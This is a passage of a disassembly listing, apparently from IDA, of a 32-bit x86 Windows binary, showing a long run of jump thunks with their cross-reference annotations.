sub_401BD6 proc near ; CODE XREF: ___:00433419p
; ___:0043343Ap ...
jmp sub_431EF0
sub_401BD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BDB proc near ; CODE XREF: ___:00427092p
jmp sub_427C90
sub_401BDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BE0 proc near ; CODE XREF: sub_41B4A0+3p
jmp sub_41B4D0
sub_401BE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BE5 proc near ; CODE XREF: sub_42AEE0+3p
jmp sub_42AF10
sub_401BE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BEA proc near ; CODE XREF: sub_422B40+924p
; ___:0042416Ap
jmp sub_426BD0
sub_401BEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BEF proc near ; CODE XREF: sub_42E5B0+18Dp
; sub_42E5B0+1CDp ...
jmp sub_42F2C0
sub_401BEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BF4 proc near ; CODE XREF: ___:0041432Cp
jmp sub_414420
sub_401BF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BF9 proc near
jmp sub_40C430
sub_401BF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BFE proc near ; CODE XREF: sub_425100+8Bp
jmp sub_424920
sub_401BFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C03 proc near ; CODE XREF: ___:0040B1EEp
; sub_40B240+34p ...
jmp sub_40BEA0
sub_401C03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C08 proc near ; CODE XREF: sub_40B180+5Cp
jmp sub_40BD40
sub_401C08 endp
; ---------------------------------------------------------------------------
jmp loc_433AB0
; ---------------------------------------------------------------------------
jmp loc_432410
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C17 proc near ; CODE XREF: sub_431DC0+20p
; sub_431EF0+20p ...
jmp sub_431980
sub_401C17 endp
; ---------------------------------------------------------------------------
jmp loc_430020
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C21 proc near
jmp sub_435AA0
sub_401C21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C26 proc near ; CODE XREF: sub_4138A0+84p
; sub_434D10+3Cp ...
jmp sub_434C30
sub_401C26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C2B proc near ; CODE XREF: ___:0042D7C8p
jmp sub_42C350
sub_401C2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C30 proc near ; CODE XREF: sub_42BB00+446p
jmp sub_42B8E0
sub_401C30 endp
; ---------------------------------------------------------------------------
jmp loc_41B720
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C3A proc near ; CODE XREF: ___:00432546p
; sub_4344C0+23p
jmp sub_432DB0
sub_401C3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C3F proc near ; DATA XREF: ___:off_43F12Co
jmp sub_429120
sub_401C3F endp
; ---------------------------------------------------------------------------
jmp loc_41FC80
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C49 proc near ; CODE XREF: sub_41B0B0+8p
; ___:0041B46Dp ...
jmp sub_41A110
sub_401C49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C4E proc near ; CODE XREF: sub_42B3F0+3p
jmp sub_42B420
sub_401C4E endp
; ---------------------------------------------------------------------------
jmp loc_41AE50
; ---------------------------------------------------------------------------
jmp loc_416A80
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C5D proc near ; CODE XREF: sub_40BE60+1Fp
jmp sub_40BF90
sub_401C5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C62 proc near ; CODE XREF: sub_415AF0+9p
; sub_415C10+18p
jmp sub_4166C0
sub_401C62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C67 proc near ; CODE XREF: sub_418D40+4p
jmp sub_419060
sub_401C67 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C6C proc near ; CODE XREF: sub_4073C0+11p
; ___:004073E7p ...
jmp sub_407570
sub_401C6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C71 proc near ; CODE XREF: sub_404C30+111p
; sub_40D650+42p ...
jmp sub_40A2C0
sub_401C71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C76 proc near ; CODE XREF: ___:0041325Ap
; sub_4132E0+3Cp ...
jmp sub_4158C0
sub_401C76 endp
; ---------------------------------------------------------------------------
jmp loc_42FCB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C80 proc near ; CODE XREF: sub_4269A0+69p
jmp sub_426B10
sub_401C80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C85 proc near ; CODE XREF: sub_40B5F0+2Fp
; sub_40B5F0+6Ep ...
jmp sub_40BE30
sub_401C85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C8A proc near ; CODE XREF: ___:00430078p
; ___:0043008Dp ...
jmp sub_433FB0
sub_401C8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C8F proc near ; CODE XREF: sub_415440+11p
; sub_415EC0+1Fp
jmp sub_4160B0
sub_401C8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C94 proc near ; DATA XREF: ___:0043F0D4o
jmp sub_41D830
sub_401C94 endp
; ---------------------------------------------------------------------------
jmp loc_419A10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C9E proc near ; CODE XREF: sub_4073C0+9p
; sub_418E70+18p
jmp sub_407610
sub_401C9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CA3 proc near ; CODE XREF: sub_4132B0+3p
; ___:00416C2Bp ...
jmp sub_4132E0
sub_401CA3 endp
; ---------------------------------------------------------------------------
jmp loc_40B8E0
; ---------------------------------------------------------------------------
loc_401CAD: ; DATA XREF: ___:off_43F068o
jmp loc_418B60
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CB7 proc near ; CODE XREF: ___:00416E2Ap
jmp sub_418170
sub_401CB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CBC proc near ; CODE XREF: sub_415B90+Cp
; sub_415B90+43p
jmp sub_416690
sub_401CBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CC1 proc near ; CODE XREF: sub_4096D0+45p
jmp sub_4099B0
sub_401CC1 endp
; ---------------------------------------------------------------------------
jmp loc_434430
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CD0 proc near ; CODE XREF: sub_40FE30+3A4p
jmp sub_40A0D0
sub_401CD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CD5 proc near ; CODE XREF: sub_4077E0+6B6p
; ___:00407F3Dp ...
jmp sub_407740
sub_401CD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CDA proc near ; CODE XREF: sub_4154F0+14p
; sub_415530+9p ...
jmp sub_416180
sub_401CDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CDF proc near ; CODE XREF: sub_4096D0+144p
jmp sub_409A40
sub_401CDF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CE4 proc near ; CODE XREF: sub_404600+1C2p
; sub_404AD0+36p ...
jmp sub_413490
sub_401CE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CE9 proc near ; CODE XREF: sub_4151B0+34p
; sub_415C10+67p
jmp sub_415DB0
sub_401CE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CEE proc near
jmp sub_409B70
sub_401CEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CF3 proc near ; DATA XREF: ___:0043F0A4o
jmp sub_41FC00
sub_401CF3 endp
; ---------------------------------------------------------------------------
jmp loc_42F3A0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CFD proc near ; CODE XREF: sub_40BF60+5p
jmp sub_40C1C0
sub_401CFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D02 proc near ; CODE XREF: ___:0043242Fp
jmp sub_430520
sub_401D02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D07 proc near ; CODE XREF: sub_421E50+11p
; ___:00421E77p ...
jmp sub_422400
sub_401D07 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D0C proc near ; DATA XREF: ___:0043F048o
jmp sub_4132B0
sub_401D0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D11 proc near ; CODE XREF: sub_415880+1Fp
jmp sub_416210
sub_401D11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D16 proc near ; CODE XREF: sub_40F6C0+1ACp
; sub_40F6C0+1EDp ...
jmp sub_40F650
sub_401D16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D1B proc near ; CODE XREF: sub_413E60+15Cp
jmp sub_414150
sub_401D1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D20 proc near ; CODE XREF: sub_404BE0+23p
; sub_40FE30+13C2p
jmp sub_412740
sub_401D20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D25 proc near ; CODE XREF: ___:00416DEFp
jmp sub_418010
sub_401D25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D2A proc near ; CODE XREF: sub_407590+7p
; sub_40C2D0+7p ...
jmp sub_407630
sub_401D2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D2F proc near ; CODE XREF: sub_40A8E0+1Ap
; sub_40A990+4p ...
jmp sub_40A950
sub_401D2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D34 proc near ; CODE XREF: sub_404600+289p
; sub_404600+2ADp ...
jmp sub_40A170
sub_401D34 endp
; ---------------------------------------------------------------------------
jmp loc_4305A0
; ---------------------------------------------------------------------------
loc_401D3E: ; DATA XREF: ___:0043F154o
jmp loc_429510
; ---------------------------------------------------------------------------
jmp loc_42F970
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D48 proc near
jmp sub_403F80
sub_401D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D4D proc near ; CODE XREF: sub_411C00+123p
; sub_411C00+1E2p
jmp sub_4122D0
sub_401D4D endp
; ---------------------------------------------------------------------------
jmp loc_41B540
; ---------------------------------------------------------------------------
jmp loc_40B860
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D5C proc near ; CODE XREF: sub_421D80+5p
jmp sub_4222E0
sub_401D5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D61 proc near ; CODE XREF: sub_415F60+5Fp
jmp sub_416780
sub_401D61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D66 proc near ; CODE XREF: sub_41D830+2C7p
jmp sub_42FD30
sub_401D66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D6B proc near ; CODE XREF: sub_418C90+7p
jmp sub_418F30
sub_401D6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D70 proc near ; CODE XREF: sub_413730+5Dp
; sub_413730+9Bp ...
jmp sub_415410
sub_401D70 endp
; ---------------------------------------------------------------------------
jmp loc_437390
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D7A proc near ; CODE XREF: sub_415810+14p
; sub_415850+9p ...
jmp sub_4164D0
sub_401D7A endp
; ---------------------------------------------------------------------------
jmp loc_40B950
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D84 proc near ; CODE XREF: sub_4341C0+98p
jmp sub_431950
sub_401D84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D89 proc near ; CODE XREF: sub_421C60+14p
; sub_421CA0+9p ...
jmp sub_4222B0
sub_401D89 endp
; ---------------------------------------------------------------------------
jmp loc_42DAD0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D93 proc near
jmp sub_41C490
sub_401D93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D98 proc near ; CODE XREF: sub_418970+14p
; sub_4189B0+9p ...
jmp sub_418E10
sub_401D98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D9D proc near ; CODE XREF: sub_413730+53p
; sub_413730+91p ...
jmp sub_415260
sub_401D9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DA2 proc near ; CODE XREF: sub_422B40+56p
jmp sub_426B90
sub_401DA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DA7 proc near ; CODE XREF: sub_422B40+18Ap
jmp sub_426A90
sub_401DA7 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DB1 proc near ; CODE XREF: sub_429170+81p
jmp sub_428DC0
sub_401DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DB6 proc near ; CODE XREF: sub_415760+11p
; sub_416210+1Fp
jmp sub_416400
sub_401DB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DBB proc near ; CODE XREF: sub_415220+14p
; sub_415260+9p ...
jmp sub_415E30
sub_401DBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DC0 proc near ; CODE XREF: ___:004147D3p
jmp sub_414590
sub_401DC0 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp loc_425DC0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DCF proc near ; CODE XREF: sub_428260+90p
jmp sub_428810
sub_401DCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DD4 proc near ; CODE XREF: ___:0042C468p
jmp sub_42C1B0
sub_401DD4 endp
; ---------------------------------------------------------------------------
jmp loc_4141E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DDE proc near ; CODE XREF: sub_434AD0+74p
jmp sub_432AE0
sub_401DDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DE3 proc near ; CODE XREF: sub_41FA90+1Dp
jmp sub_40B140
sub_401DE3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DE8 proc near ; CODE XREF: sub_40AAC0+45p
jmp sub_40AD40
sub_401DE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DED proc near ; CODE XREF: ___:0043062Dp
; ___:00430752p ...
jmp sub_432C80
sub_401DED endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DF2 proc near ; CODE XREF: ___:00426F24p
jmp sub_4281A0
sub_401DF2 endp
; ---------------------------------------------------------------------------
jmp loc_432D50
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DFC proc near ; CODE XREF: sub_40FE30+AE7p
; sub_40FE30+E5Dp
jmp sub_41EE70
sub_401DFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E01 proc near ; CODE XREF: sub_40AD70+Ap
jmp sub_40AE60
sub_401E01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E06 proc near ; CODE XREF: ___:00416B2Bp
; ___:0043B27Aj ...
jmp sub_417AA0
sub_401E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E0B proc near ; CODE XREF: sub_421F80+4p
jmp sub_422420
sub_401E0B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E10 proc near ; CODE XREF: sub_40C4D0+271p
; sub_425100+50p ...
jmp sub_423760
sub_401E10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E15 proc near ; CODE XREF: ___:0041626Ap
jmp sub_416850
sub_401E15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E1A proc near ; CODE XREF: sub_415DB0+7p
jmp sub_4165B0
sub_401E1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E1F proc near ; CODE XREF: sub_41D830+19Bp
jmp sub_42DA80
sub_401E1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E24 proc near ; CODE XREF: sub_404C30+835p
; sub_404C30+B62p ...
jmp sub_412520
sub_401E24 endp
; ---------------------------------------------------------------------------
jmp sub_4132B0
; ---------------------------------------------------------------------------
jmp sub_42AEE0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E33 proc near ; CODE XREF: sub_415480+34p
; sub_415F60+67p
jmp sub_416100
sub_401E33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E38 proc near ; CODE XREF: sub_413730+31p
; sub_414590+2Dp
jmp sub_4153A0
sub_401E38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E3D proc near ; CODE XREF: sub_40CC80+1F1p
; ___:00423FBFp ...
jmp sub_426930
sub_401E3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E42 proc near ; CODE XREF: sub_4159E0+3p
jmp sub_4164B0
sub_401E42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E47 proc near ; CODE XREF: sub_404600+97p
; sub_404600+107p ...
jmp sub_40A490
sub_401E47 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp loc_426020
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E56 proc near ; CODE XREF: ___:00423DFAp
jmp sub_423950
sub_401E56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E5B proc near ; CODE XREF: ___:00421E0Ap
jmp sub_422310
sub_401E5B endp
; ---------------------------------------------------------------------------
jmp loc_416CF0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E65 proc near
jmp sub_4368D0
sub_401E65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E6A proc near ; DATA XREF: ___:off_43F088o
jmp sub_4369E0
sub_401E6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E6F proc near ; CODE XREF: ___:004337FFp
jmp sub_4310A0
sub_401E6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E74 proc near ; CODE XREF: sub_416690+5p
jmp sub_4168E0
sub_401E74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E79 proc near ; CODE XREF: sub_404C30+28Dp
; sub_41D830+6A3p
jmp sub_40DC10
sub_401E79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E7E proc near ; CODE XREF: sub_422510+5Fp
jmp sub_422700
sub_401E7E endp
; ---------------------------------------------------------------------------
jmp loc_419F90
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E88 proc near ; CODE XREF: sub_40F6C0+22p
; sub_412A20+1Dp ...
jmp sub_40AE90
sub_401E88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E8D proc near ; CODE XREF: sub_40AAC0+112p
; sub_40AAC0+153p
jmp sub_40ADA0
sub_401E8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E92 proc near ; DATA XREF: ___:off_43F0C0o
jmp sub_41B0E0
sub_401E92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E97 proc near ; CODE XREF: sub_4156C0+3p
jmp sub_416160
sub_401E97 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E9C proc near ; CODE XREF: sub_427AC0+1Ap
jmp sub_427980
sub_401E9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EA1 proc near ; CODE XREF: ___:00416BFBp
; ___:0043B1C4j ...
jmp sub_4175A0
sub_401EA1 endp
; ---------------------------------------------------------------------------
jmp loc_4331B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EAB proc near ; CODE XREF: sub_4200F0+3Ap
jmp sub_420300
sub_401EAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401EB0 proc near ; DATA XREF: ___:0043F114o
jmp sub_428260
sub_401EB0 endp
; ---------------------------------------------------------------------------
jmp loc_433AF0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401EBA proc near ; CODE XREF: sub_416400+4p
jmp sub_416800
sub_401EBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EBF proc near ; CODE XREF: sub_415910+5Bp
; sub_4162B0+11p ...
jmp sub_416500
sub_401EBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EC4 proc near ; CODE XREF: sub_415730+5p
jmp sub_4161E0
sub_401EC4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EC9 proc near ; CODE XREF: sub_424920+151p
jmp sub_4248E0
sub_401EC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ECE proc near ; CODE XREF: ___:00416B9Bp
; ___:0043B218j ...
jmp sub_4177F0
sub_401ECE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ED3 proc near ; CODE XREF: sub_4153A0+3p
jmp sub_415E10
sub_401ED3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401ED8 proc near ; CODE XREF: sub_4150F0+11p
; sub_415130+13p ...
jmp sub_415D60
sub_401ED8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EDD proc near ; CODE XREF: sub_421A60+14p
; sub_421AA0+9p ...
jmp sub_422050
sub_401EDD endp
; ---------------------------------------------------------------------------
jmp loc_418820
; ---------------------------------------------------------------------------
jmp loc_41C350
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EEC proc near ; CODE XREF: sub_418F80+18p
; sub_421DB0+9p
jmp sub_419140
sub_401EEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EF1 proc near ; CODE XREF: sub_422640+Ap
jmp sub_4227E0
sub_401EF1 endp
; ---------------------------------------------------------------------------
jmp loc_41BD50
; ---------------------------------------------------------------------------
jmp loc_433BA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F00 proc near ; CODE XREF: ___:00416AFBp
; ___:0043B2A4j ...
jmp sub_417AE0
sub_401F00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F05 proc near ; CODE XREF: sub_40A8E0+13p
jmp loc_40AA20
sub_401F05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F0A proc near ; CODE XREF: sub_41B130:loc_41B17Cp
; sub_41BA50+54p ...
jmp sub_4199A0
sub_401F0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F0F proc near ; CODE XREF: ___:00414385p
jmp sub_415560
sub_401F0F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F14 proc near ; CODE XREF: sub_4157A0+34p
; sub_4162B0+67p
jmp sub_416450
sub_401F14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F19 proc near ; CODE XREF: sub_4153C0+3p
; ___:00415B3Fp ...
jmp sub_415DF0
sub_401F19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F1E proc near
jmp sub_412CD0
sub_401F1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F23 proc near ; CODE XREF: sub_4131E0+4Dp
jmp sub_415440
sub_401F23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F28 proc near ; CODE XREF: sub_407140+5Cp
; sub_418F50+3p
jmp sub_407360
sub_401F28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F2D proc near ; CODE XREF: ___:004191F3p
jmp sub_4198F0
sub_401F2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F32 proc near ; CODE XREF: ___:0040BFEAp
jmp sub_40C320
sub_401F32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F37 proc near ; CODE XREF: ___:0042C44Fp
jmp sub_42C0A0
sub_401F37 endp
; ---------------------------------------------------------------------------
loc_401F3C: ; DATA XREF: ___:off_43F07Co
jmp loc_435B90
; ---------------------------------------------------------------------------
loc_401F41: ; DATA XREF: ___:00424194o
jmp loc_423D10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F46 proc near ; CODE XREF: ___:00416B5Bp
; ___:0043B250j ...
jmp sub_417A00
sub_401F46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F4B proc near ; CODE XREF: sub_413C30+99p
jmp sub_413E00
sub_401F4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F50 proc near ; CODE XREF: sub_40B460+3Dp
; ___:0040BBFDp ...
jmp sub_40B7D0
sub_401F50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F55 proc near ; CODE XREF: ___:loc_423DA7p
jmp sub_423820
sub_401F55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F5A proc near ; CODE XREF: sub_404C30+A38p
jmp sub_406850
sub_401F5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F5F proc near ; DATA XREF: ___:off_43F1A0o
jmp sub_42C640
sub_401F5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F64 proc near ; CODE XREF: sub_413A70+72p
jmp sub_413730
sub_401F64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F69 proc near ; CODE XREF: sub_4182F0+5Fp
; sub_418900+1Ap ...
jmp sub_418970
sub_401F69 endp
; ---------------------------------------------------------------------------
jmp loc_430290
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F73 proc near ; CODE XREF: sub_42F6F0+B5p
jmp sub_42E5B0
sub_401F73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F78 proc near ; CODE XREF: sub_40B5F0+4Bp
; sub_40B5F0:loc_40B67Bp ...
jmp sub_40BF10
sub_401F78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F7D proc near
jmp sub_41E400
sub_401F7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F82 proc near ; CODE XREF: sub_40A500+142p
jmp sub_40A8E0
sub_401F82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F87 proc near ; CODE XREF: sub_404600+35Dp
; sub_404600+39Ep
jmp sub_404AD0
sub_401F87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F8C proc near ; CODE XREF: sub_415EC0+9p
; sub_415F60+18p
jmp sub_4167C0
sub_401F8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F91 proc near ; CODE XREF: sub_432E20+1Bp
jmp sub_432ED0
sub_401F91 endp
; ---------------------------------------------------------------------------
jmp loc_42C2C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F9B proc near ; CODE XREF: sub_427740+1Dp
; sub_427C90+1Dp ...
jmp sub_427B00
sub_401F9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FA0 proc near ; CODE XREF: sub_4290B0+1Dp
; sub_429450+1Fp ...
jmp sub_429290
sub_401FA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FA5 proc near ; CODE XREF: ___:0042B063p
jmp sub_42B090
sub_401FA5 endp
; ---------------------------------------------------------------------------
jmp loc_406C20
; ---------------------------------------------------------------------------
jmp loc_40D530
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FB4 proc near ; CODE XREF: sub_4096D0+112p
; sub_4096D0+153p
jmp sub_409A10
sub_401FB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FB9 proc near ; CODE XREF: sub_422700+5p
jmp sub_422870
sub_401FB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FBE proc near ; CODE XREF: sub_407390+5p
jmp sub_407540
sub_401FBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FC3 proc near ; CODE XREF: sub_413730+6Fp
; sub_413730+DBp ...
jmp sub_4153C0
sub_401FC3 endp
; ---------------------------------------------------------------------------
jmp loc_42CB20
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401FCD proc near ; CODE XREF: sub_4152D0+6Ap
; sub_415CD0+32p
jmp sub_415C10
sub_401FCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FD2 proc near
jmp sub_40F0F0
sub_401FD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FD7 proc near ; CODE XREF: sub_412740+3p
jmp sub_412770
